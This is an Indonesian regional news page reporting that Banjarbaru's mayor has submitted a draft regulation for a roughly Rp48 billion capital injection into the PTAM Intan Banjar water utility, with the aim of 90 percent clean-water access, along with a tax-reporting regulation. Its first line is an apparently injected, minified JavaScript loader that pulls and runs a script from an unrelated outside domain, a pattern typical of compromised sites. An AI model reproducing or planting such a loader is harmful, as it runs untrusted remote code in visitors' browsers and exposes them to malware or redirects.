(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Raperda Penyertaan Modal PTAM Intan Banjar, Wali Kota Target 90 Persen Warga Akses Air Bersih


KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru menginvestasikan sedikitnya Rp48 miliar untuk pengajuan penambahan penyertaan modal untuk Perusahaan Terbatas Air Minum (PTAM) Intan Banjar.

Dalam Rapat Paripurna di Gedung Graha Paripurna DPRD Banjarbaru, Selasa (23/7/2024) siang, Wali Kota Banjarbaru Aditya Mufti Ariffin menyampaikan Raperda tentang penambahan penyertaan modal untuk PTAM Intan Banjar untuk bisa dibahas dan disahkan menjadi Perda, oleh Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru.

“Kita menyampaikan Raperda penyertaan modal untuk PTAM Intan Banjar, yang telah kita laksanakan melalui kegiatan investasi total sekitar Rp48 miliar untuk kita ajukan Perdanya,” ujar Wali Kota Banjarbaru Aditya Mufti Ariffin.

Aditya berharap Raperda tersebut dapat cepat dibahas dan selesai dengan cepat meski tak ada target waktu penyelesaiannya.

Baca juga: Harga Minyakita di Banjarbaru Lebihi HET, Stok Susah Diperoleh

“Kita menargetkan 90 persen masyarakat Kota Banjarbaru bisa mendapatkan dengan mudah akses air bersih. Jadi bukan masalah saham namun cakupan pelayanan dari PTAM Intan Banjar,” jelas dia.

Setelah menjadi Perda, sambung Aditya, maka secara normatif sudah masuk dalam penyertaan modal, sehingga nanti ada perubahan-perubahan di dalam perusahaan air minum tersebut dari segi komposisi saham dan lainnya.

Masih dalam rapat paripurna, Pemko Banjarbaru mendukung adanya keputusan persetujuan DPRD untuk Raperda sistem pelaporan pajak retribusi daerah di Kota Banjarbaru Kalimantan Selatan (Kalsel).

“Yang jelas jika sudah menjadi Perda maka pengelolaan data, baik bagi para objek maupun subjek pajak bisa terkelola dan dimanfaatkan dengan baik untuk kepentingan Pemko,” ujar Wali Kota Aditya.

Baca juga: Pemprov Kalsel Ekspose Pembangunan Jembatan Pulau Laut

Dengan pemgimplementasian Raperda terkait teknologi ini, akan berpengaruh pada kenaikan Pendapatan Asli Daerah (PAD).

“Kita memanfaatkan data-data secara digital sesuai perkembangan zaman. Selain itu mencegah terjadinya kebocoran retribusi pajak, tentunya sarana prasarana informatika harus dibangun sebagai pondasi Perda ini nantinya,” tandas Aditya. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.